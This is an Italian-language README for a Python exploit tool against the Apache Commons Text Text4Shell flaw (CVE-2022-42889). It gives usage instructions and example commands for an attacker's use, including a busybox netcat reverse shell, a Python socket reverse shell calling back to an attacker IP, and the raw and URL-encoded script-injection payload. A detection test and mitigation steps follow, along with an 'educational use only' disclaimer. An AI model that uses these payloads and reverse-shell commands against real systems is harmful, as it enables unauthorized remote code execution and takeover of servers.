
Un exploit in Python per CVE-2022-42889 (Text4Shell), una vulnerabilità critica di esecuzione remota di codice in Apache Commons Text versioni precedenti alla 1.10.0.
Questo exploit ha come bersaglio CVE-2022-42889 (Text4Shell), una vulnerabilità in Apache Commons Text che consente l'Esecuzione Remota di Codice (RCE) tramite stringhe di input appositamente realizzate elaborate dall'interpolatore StringLookup.
La vulnerabilità è simile per impatto a Log4Shell ma interessa una libreria diversa. Quando un input controllato dall'utente viene passato a metodi vulnerabili, un attaccante può eseguire codice arbitrario sul sistema bersaglio.
Apache Commons Text fornisce l'interpolazione delle stringhe attraverso l'interfaccia StringLookup. La lookup interpolator consente la valutazione di espressioni con vari prefissi, tra cui:
${script:javascript:...} - Esegue codice JavaScript (motore Nashorn)${url:UTF-8:...} - Recupera URL (SSRF)${dns:...} - Ricerche DNS| Prodotto | Versioni interessate | Versione corretta |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (per RCE) | 15+ (Nashorn disabilitato) |
Nota: Le versioni di Java ≥ 15 non sono vulnerabili a RCE tramite il prefisso script (Nashorn disabilitato), ma potrebbero essere ancora vulnerabili a SSRF tramite i prefissi url e dns.
requestsInstalla le dipendenze:
pip install requests
Utilizzo
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
Argomenti
Argomento Descrizione Obbligatorio
-t, --target Indirizzo IP del bersaglio ✅ Sì
-p, --port Porta del bersaglio (predefinita: 8080) ❌ No
-c, --command Comando da eseguire ✅ Sì
--lhost Il tuo IP per la reverse shell ✅ Sì
--lport La tua porta per la reverse shell ✅ Sì
💻 Esempi
Esempio 1: Test semplice del comando
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
Esempio 2: Reverse shell con netcat
bash
# Start listener
nc -lvnp 4444
# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
Esempio 3: Reverse shell in Python
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
Esempio 4: Test SSRF
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
🔧 Come Funziona
Costruzione del Payload: Lo script crea una stringa malevola usando la sintassi ${script:javascript:...}:
javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
Codifica URL: I caratteri speciali vengono codificati in URL per garantirne la corretta trasmissione:
text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
Richiesta HTTP: Lo script invia una richiesta GET a:
text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
Esecuzione del Comando: Se vulnerabile, il bersaglio valuta il JavaScript ed esegue il comando.
🔍 Rilevamento
Verifica se il tuo sistema è vulnerabile:
Test manuale:
bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
Se la risposta contiene 49 invece di ${script:javascript:7*7}, il sistema è vulnerabile.
Controllo della versione:
Controlla i file CHANGELOG o README per la versione di Apache Commons Text
Cerca i file commons-text-*.jar nell'applicazione
🛡️ Mitigazione
Aggiorna Apache Commons Text alla versione 1.10.0 o successiva
xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
Aggiorna a Java 15+ (disabilita il motore JavaScript Nashorn)
Validazione dell'input: implementa una validazione rigorosa dell'input utente
Disabilita l'interpolazione: se non necessario, evita di usare StringSubstitutor.createInterpolator()
Web Application Firewall (WAF): blocca le richieste contenenti pattern ${script:javascript:}
📚 Riferimenti
- [NVD - CVE-2022-42889](https://nvd.nist.gov/vuln/detail/CVE-2022-42889)
- [Sicurezza di Apache Commons Text](https://commons.apache.org/proper/commons-text/security.html)
- [Tarlogic - Analisi di Text4Shell](https://www.tarlogic.com/blog/text4shell-cve-2022-42889/)
- [Avviso CISA](https://www.cisa.gov/news-events/ics-advisories/icsa-22-258-03)
## ⚠️ Disclaimer
Questo exploit è solo a scopo educativo e per test di sicurezza autorizzati. L'uso non autorizzato di questo exploit contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicito permesso di test è illegale. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento.
## 📄 Licenza
Questo progetto è rilasciato sotto licenza MIT - consulta il file LICENSE per i dettagli.
## 🤝 Contributi
Contributi, segnalazioni di problemi e richieste di funzionalità sono benvenuti! Sentiti libero di consultare la pagina delle issue.
Buon hacking! 🚀